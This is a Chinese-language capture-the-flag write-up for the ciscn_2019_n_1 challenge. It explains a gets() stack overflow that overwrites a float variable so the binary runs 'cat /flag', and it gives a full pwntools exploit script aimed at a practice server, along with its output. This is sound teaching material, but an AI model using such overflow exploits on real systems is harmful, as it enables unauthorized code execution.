ciscn_2019_n_1
潜心修炼,从基础开始
这是一道简单的栈溢出覆盖变量
解题流程
1.查看文件
$ file ciscn_2019_n_1
ciscn_2019_n_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8a733f5404b1e2c65e1758c7d92821eb8490f7c5, not stripped
2.查看保护
$ checksec ciscn_2019_n_1
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_n1/ciscn_2019_n_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
开启了NX保护
NX保护即数据不可执行
3.IDA反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}
main函数中没有问题,继续查看func()
int func()
{
int result; // eax
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}
发现目标函数system(“cat /flag”),同时存在危险函数gets
利用方法:利用v1进行栈溢出,覆盖变量v2的值,使之等于11.28125,则程序执行cat /flag
4.查看溢出长度
v1的位置是0x30,v2的位置是0x4,0x30-0x4计算出偏移,填充藏数据,在v2位置填充目标数据
这里需要注意的是需要将11.28125已Ieee-754标准转换位16进制,才能利用
这里给一个在线转换网址:https://www.h-schmidt.net/FloatConverter/IEEE754.html
5.编写EXP
# -*- coding:utf-8 -*-
#! /usr/bin/env python
from pwn import *
context(os="linux", arch="amd64")
# context.log_level="debug"
local = 0
elf = ELF('./ciscn_2019_n_1')
if local:
pro = process('./ciscn_2019_n_1')
else:
pro = remote('node4.buuoj.cn', 29925)
def get_shell():
v2 = 0x41348000
paylen = 0x30-0x4
payload = b"A"*paylen+p64(v2)
pro.sendlineafter('number.\n',payload)
flag = pro.recvline()
print(flag)
if __name__ == '__main__':
get_shell()
因为溢出后执行的是cat /flag,所以不用交互,故使用recvline进行读取。
6.获得flag
$ python ciscn_2019_n_1Exp.py
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_n1/ciscn_2019_n_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to node4.buuoj.cn on port 29925: Done
flag{0893d84d-1388-4aaa-b65b-cc8b5fe0b69d}
[*] Closed connection to node4.buuoj.cn port 29925
打完收工